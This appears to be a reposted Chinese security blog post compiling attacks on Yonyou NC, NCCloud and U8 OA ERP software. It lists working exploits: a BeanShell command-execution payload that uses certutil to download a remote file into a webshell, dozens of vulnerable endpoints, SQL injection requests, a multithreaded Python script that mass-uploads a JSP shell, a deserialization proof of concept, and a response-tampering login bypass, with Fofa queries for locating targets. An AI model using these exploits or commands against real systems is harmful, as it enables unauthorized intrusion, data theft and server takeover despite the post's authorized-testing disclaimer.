komomon 编码安全研究 2022-11-21 09:09 发表于北京

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

0x01 漏洞检测工具

用友NC漏洞检测

用友NC-OA漏洞合集

ncDecode---用友nc数据库密码解密

0x02 配置文件

2.1 WEB.xml

 /webapps/nc_web/WEB-INF/web.xml <servlet-mapping>  <servlet-name>NCInvokerServlet</servlet-name>  <url-pattern>/service/*</url-pattern> </servlet-mapping>  <servlet-mapping>  <servlet-name>NCInvokerServlet</servlet-name>  <url-pattern>/servlet/*</url-pattern> </servlet-mapping>

2.2 prop.xml(数据库配置)

/ierp/bin/prop.xml <dataSource> <dataSourceName>nc</dataSourceName> <oidMark>C2</oidMark> <databaseUrl>jdbc:sqlserver://127.0.0.1:1433;database=nc;sendStringParametersAsUnicode=false</databaseUrl> <user>nc</user> <password>jlehfdffcfmohiag</password> <driverClassName>com.microsoft.sqlserver.jdbc.SQLServerDriver</driverClassName> <databaseType>SQLSERVER</databaseType> <maxCon>50</maxCon> <minCon>10</minCon> <dataSourceClassName>nc.bs.mw.ejb.xares.IerpDataSource</dataSourceClassName> <xaDataSourceClassName>nc.bs.mw.ejb.xares.IerpXADataSource</xaDataSourceClassName> <conIncrement>0</conIncrement> <conInUse>0</conInUse> <conIdle>0</conIdle> </dataSource>

0x03 漏洞整理

3.1 任意文件读取

filename参数可以读取下列所有文件,在某些情况下可以读取利用目录穿越可读取/etc/passwd等文件

 http://x.x.x.x/NCFindWeb?service=IPreAlertConfigService&filename=/

3.2 bsh.servlet.BshServlet 远程命令执行漏洞

用友 NC bsh.servlet.BshServlet 存在远程命令执行漏洞,通过 BeanShell 执行远程命令获取服务器权限。

exp:

exec("cmd.exe /c  certutil -urlcache -split -f http://vps/ccc.txt  webapps/nc_web/aa.jsp");

poc:

http://x.x.x.x/service/~aim/bsh.servlet.BshServlet http://x.x.x.x/service/~alm/bsh.servlet.BshServlet http://x.x.x.x/service/~ampub/bsh.servlet.BshServlet http://x.x.x.x/service/~arap/bsh.servlet.BshServlet http://x.x.x.x/service/~aum/bsh.servlet.BshServlet http://x.x.x.x/service/~cc/bsh.servlet.BshServlet http://x.x.x.x/service/~cdm/bsh.servlet.BshServlet http://x.x.x.x/service/~cmp/bsh.servlet.BshServlet http://x.x.x.x/service/~ct/bsh.servlet.BshServlet http://x.x.x.x/service/~dm/bsh.servlet.BshServlet http://x.x.x.x/service/~erm/bsh.servlet.BshServlet http://x.x.x.x/service/~fa/bsh.servlet.BshServlet http://x.x.x.x/service/~fac/bsh.servlet.BshServlet http://x.x.x.x/service/~fbm/bsh.servlet.BshServlet http://x.x.x.x/service/~ff/bsh.servlet.BshServlet http://x.x.x.x/service/~fip/bsh.servlet.BshServlet http://x.x.x.x/service/~fipub/bsh.servlet.BshServlet http://x.x.x.x/service/~fp/bsh.servlet.BshServlet http://x.x.x.x/service/~fts/bsh.servlet.BshServlet http://x.x.x.x/service/~fvm/bsh.servlet.BshServlet http://x.x.x.x/service/~gl/bsh.servlet.BshServlet http://x.x.x.x/service/~hrhi/bsh.servlet.BshServlet http://x.x.x.x/service/~hrjf/bsh.servlet.BshServlet http://x.x.x.x/service/~hrpd/bsh.servlet.BshServlet http://x.x.x.x/service/~hrpub/bsh.servlet.BshServlet http://x.x.x.x/service/~hrtrn/bsh.servlet.BshServlet http://x.x.x.x/service/~hrwa/bsh.servlet.BshServlet http://x.x.x.x/service/~ia/bsh.servlet.BshServlet http://x.x.x.x/service/~ic/bsh.servlet.BshServlet http://x.x.x.x/service/~iufo/bsh.servlet.BshServlet http://x.x.x.x/service/~modules/bsh.servlet.BshServlet http://x.x.x.x/service/~mpp/bsh.servlet.BshServlet http://x.x.x.x/service/~obm/bsh.servlet.BshServlet http://x.x.x.x/service/~pu/bsh.servlet.BshServlet http://x.x.x.x/service/~qc/bsh.servlet.BshServlet http://x.x.x.x/service/~sc/bsh.servlet.BshServlet http://x.x.x.x/service/~scmpub/bsh.servlet.BshServlet http://x.x.x.x/service/~so/bsh.servlet.BshServlet http://x.x.x.x/service/~so2/bsh.servlet.BshServlet http://x.x.x.x/service/~so3/bsh.servlet.BshServlet http://x.x.x.x/service/~so4/bsh.servlet.BshServlet http://x.x.x.x/service/~so5/bsh.servlet.BshServlet http://x.x.x.x/service/~so6/bsh.servlet.BshServlet http://x.x.x.x/service/~tam/bsh.servlet.BshServlet http://x.x.x.x/service/~tbb/bsh.servlet.BshServlet http://x.x.x.x/service/~to/bsh.servlet.BshServlet http://x.x.x.x/service/~uap/bsh.servlet.BshServlet http://x.x.x.x/service/~uapbd/bsh.servlet.BshServlet http://x.x.x.x/service/~uapde/bsh.servlet.BshServlet http://x.x.x.x/service/~uapeai/bsh.servlet.BshServlet http://x.x.x.x/service/~uapother/bsh.servlet.BshServlet http://x.x.x.x/service/~uapqe/bsh.servlet.BshServlet http://x.x.x.x/service/~uapweb/bsh.servlet.BshServlet http://x.x.x.x/service/~uapws/bsh.servlet.BshServlet http://x.x.x.x/service/~vrm/bsh.servlet.BshServlet http://x.x.x.x/service/~yer/bsh.servlet.BshServlet

3.3 用友 NCCloud FS 文件管理 SQL 注入

用友 NCCloud FS 文件管理登录页面对用户名参数没有过滤,存在 SQL 注入。

Fofa:

 "/platform/yonyou-yyy.js"

nccloud 登录界面:

文件服务器管理登录页面:

 http://x.x.x.x/fs/

username参数存在注入,抓取登录数据包:

 GET /fs/console?username=1&password=00PGRLxSTe3VroI21qJNymCrZfPX1UQ4ij0gIWn2Gc4%3D HTTP/1.1 Host: x.x.x.x User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Referer: http://x.x.x.x/fs/ Cookie: JSESSIONID=FFAE8EF48BD3BEF7E94B5449B8F9BA90.server Upgrade-Insecure-Requests: 1

sqlmap 跑注入:

 sqlmap -r text.txt -p username

3.4 用友 NC 6.5 未授权文件上传漏洞

用友 NC6.5 版本存在未授权文件上传漏洞,攻击者可以未授权上传任意文件,进而获取服务端控制权限。

Fofa:

 "/platform/yonyou-yyy.js"

POC:

import requests import threadpool import urllib3 import sys import argparse  urllib3.disable_warnings() proxies = {'http': 'http://localhost:8080', 'https': 'http://localhost:8080'} header = {    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",    "Content-Type": "application/x-www-form-urlencoded",    "Referer": "https://google.com", }  def multithreading(funcname, filename="url.txt", pools=5):    works = []    with open(filename, "r") as f:        for i in f:            func_params = [i.rstrip("\n")]            works.append((func_params, None))    pool = threadpool.ThreadPool(pools)    reqs = threadpool.makeRequests(funcname, works)    [pool.putRequest(req) for req in reqs]    pool.wait()  def wirte_targets(vurl, filename):    with open(filename, "a+") as f:        f.write(vurl + "\n")        return vurl      def exp(u):    uploadHeader = {        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",        "Content-Type": "multipart/form-data;",        "Referer": "https://google.com"    }    uploadData = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x02\x74\x00\x09\x46\x49\x4c\x45\x5f\x4e\x41\x4d\x45\x74\x00\x09\x74\x30\x30\x6c\x73\x2e\x6a\x73\x70\x74\x00\x10\x54\x41\x52\x47\x45\x54\x5f\x46\x49\x4c\x45\x5f\x50\x41\x54\x48\x74\x00\x10\x2e\x2f\x77\x65\x62\x61\x70\x70\x73\x2f\x6e\x63\x5f\x77\x65\x62\x78"    shellFlag="t0test0ls"    uploadData+=shellFlag    try:        req1 = requests.post(u + "/servlet/FileReceiveServlet", headers=uploadHeader, verify=False, data=uploadData, timeout=25)        if req1.status_code == 200 :            req3=requests.get(u+"/t00ls.jsp",headers=header, verify=False, timeout=25)             if req3.text.index(shellFlag)>=0:                printFlag = "[Getshell]" + u+"/t00ls.jsp" + "\n"                print (printFlag)                wirte_targets(printFlag, "vuln.txt")    except :        pass    #print(printFlag, end="")   if __name__ == "__main__":    if (len(sys.argv)) < 2:        print('useage : python' +str(sys.argv[0]) + ' -h')    else:        parser =argparse.ArgumentParser()        parser.description ='YONYOU UC 6.5 FILE UPLOAD!'        parser.add_argument('-u',help="url -> example [url]http://127.0.0.1[/url]",type=str,dest='check_url')        parser.add_argument('-r',help="url list to file",type=str,dest='check_file')        args =parser.parse_args()        if args.check_url:            exp(args.check_url)                 if(args.check_file):            multithreading(exp, args.check_file, 8)

当然也可以利用工具

用友NC-OA漏洞合集

3.5 用友 NC XbrlPersistenceServlet 反序列化

已知用友 NC6.5 版本存在反序列化漏洞,攻击者可以执行系统命令,获取服务端权限。

 /service/~xbrl/XbrlPersistenceServlet

POC:

import requests import threadpool import urllib3 import sys import base64  ip = "x.x.x.x" dnslog = "*****" #dnslog把字符串转16进制替换该段,测试用的ceye.io可以回显 data = "\xac\xed\x00\x05\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x73\x72\x00\x0c\x6a\x61\x76\x61\x2e\x6e\x65\x74\x2e\x55\x52\x4c\x96\x25\x37\x36\x1a\xfc\xe4\x72\x03\x00\x07\x49\x00\x08\x68\x61\x73\x68\x43\x6f\x64\x65\x49\x00\x04\x70\x6f\x72\x74\x4c\x00\x09\x61\x75\x74\x68\x6f\x72\x69\x74\x79\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x04\x66\x69\x6c\x65\x71\x00\x7e\x00\x03\x4c\x00\x04\x68\x6f\x73\x74\x71\x00\x7e\x00\x03\x4c\x00\x08\x70\x72\x6f\x74\x6f\x63\x6f\x6c\x71\x00\x7e\x00\x03\x4c\x00\x03\x72\x65\x66\x71\x00\x7e\x00\x03\x78\x70\xff\xff\xff\xff\x00\x00\x00\x50\x74\x00\x11"+dnslog+"\x3a\x38\x30\x74\x00\x00\x74\x00\x0e"+dnslog+"\x74\x00\x04\x68\x74\x74\x70\x70\x78\x74\x00\x18\x68\x74\x74\x70\x3a\x2f\x2f"+dnslog+"\x3a\x38\x30\x78"  uploadHeader={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"} req = requests.post("http://+"ip"+/service/~xbrl/XbrlPersistenceServlet", headers=uploadHeader, verify=False, data=data, timeout=25) print (req.text)

3.6 用友 U8 OASQL注入漏洞

用友 U8 OA test.jsp 文件存在 SQL 注入漏洞

Fofa:

 "/yyoa/seeyonoa/common/"

POC:

/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

sqlmap跑一下

3.7 xxe漏洞

接口处的XXE漏洞

POC:

 /uapws/service/nc.uap.oba.update.IUpdateService?wsdl

3.8 接口信息泄露

在其中有个接口可以获取数据库账户密码,不过是老版本了

 /uapws/service

3.9 控制台密码绕过

 /uapws/index.jsp

账户密码随便填,抓包将返回包0改为1,即可任意用户登录

  • 注:如有侵权请联系删除

用友NC 漏洞汇总(转载)相关推荐

  1. 用友NC远程命令执行漏洞通告

    用友NC远程命令执行漏洞通告 360-CERT [三六零CERT](javascript:void(0)

  2. CNVD-2021-30167 用友NC命令执行漏洞复现

    一.漏洞概述 2021年06月03日,用友官方发布了用友BeanShell远程代码执行漏洞的风险通告,漏洞编号为CNVD-2021-30167,漏洞等级:严重,漏洞评分:9.8. 用友NC是面向集团企 ...

  3. 用友NC BeanShell远程代码执行漏洞复现

    用友NC远程代码执行漏洞复现 漏洞介绍 用友NC是面向集团企业的管理软件,其在同类市场占有率中达到亚太第一.该漏洞是由于用友NC对外开放了BeanShell接口,攻击者可以在未授权的情况下直接访问该接 ...

  4. 用友NC uapjs RCE漏洞复现(CNVD-C-2023-76801)

    0x01 产品简介 用友NC是一款企业级ERP软件.作为一种信息化管理工具,用友NC提供了一系列业务管理模块,包括财务会计.采购管理.销售管理.物料管理.生产计划和人力资源管理等,帮助企业实现数字化转 ...

  5. 用友NC目录遍历漏洞复现

    简介: 用友ERP-NC 存在目录遍历漏洞,攻击者可以通过目录遍历获取敏感文件信息. 漏洞复现: fofa直接搜索: app="用友-UFIDA-NC" 漏洞拼接目录: /NCFi ...

  6. 常见编辑器漏洞汇总【超全】(转载)

    前言: 原文链接:https://view.inews.qq.com/a/20210917A0FZ6K00 以前挖某站发现使用了编辑器,想用通用漏洞探一探,奈何当时无从下手,这件事就放到了我的心上,就 ...

  7. X友 NC 远程命令执行

    X友 NC 远程命令执行 一.漏洞简介 用友NC是一款企业级管理软件,在大中型企业广泛使用.实现建模.开发.继承.运行.管理一体化的IT解决方案信息化平台. 用友NC存在反序列化漏洞,攻击者通过构造特 ...

  8. 常用的30+种未授权访问漏洞汇总

    未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...

  9. 用友nc操作手册_铁军人物汤轩宇, 入职两年,她用努力和汗水编制出单户试算操作手册...

    她在财务部一个默默无闻的工作岗位辛勤工作,大家不了解她的工作内容,当然也未知个中的艰辛,但她的岗位对于公司来说非常重要,所以她不敢有丝毫的怠慢,无论工作有多么艰难都要加班加点完成,她就是汤轩宇,201 ...

最新文章

  1. ORB_SLAM2代码阅读(2)——tracking线程
  2. 复旦计算机学硕分数线,复旦大学2019考研分数线公布,复旦复试经验请收好!...
  3. SpringMVC中IOC容器启动
  4. oracle form 滚动条,jQuery实现的自定义滚动条实例详解
  5. bootanimation文件名_Android开机logo制作
  6. python web框架django_Python Web应用框架 Django
  7. NDK 交叉编译常用变量
  8. 【学习排序】 Learning to Rank中Pointwise关于PRank算法源码实现
  9. python库怎么学啊最好_最常用的几个python库--学习引导
  10. 基于深度学习的IRS辅助MIMO通信系统的CSI压缩及恢复研究
  11. C++ std:: 的坑
  12. 自编基于jQuery实现分页插件
  13. Java学习(1)——用显式转换显式字符在Unicode表中的位置
  14. 用keil5将程序下载到板子里
  15. 云计算机领域的黑马AWS,为何一黑到底
  16. 关于教程被人盗版出售的一些感想
  17. 使用计算机过程中 你有哪些有效措施防范计算机病毒,计算机病毒防范措施主要有什么...
  18. 学号在java是什么意思_在JAVA程序中增加姓名学号
  19. JavaScript Core -- 不可小视的标点符号
  20. SPSS 22.0下载、授权及汉化

热门文章

  1. 学习之Java(方法)
  2. 国瀚实业|个人如何投资理财
  3. SQL零基础入门学习(一)
  4. JS下载喜马拉雅非付费音频
  5. 吉林大学计算机研究生成绩计算方法,关于同济大学研究生成绩计算方法的说明...
  6. 生存分析及生存曲线_2021-01-30
  7. Channel 是什么?
  8. windows环境部署django项目(可部署不同版本的django)
  9. win10輸入法,繁體字,簡體字切換
  10. Vs2015智能提示英文的处理方案。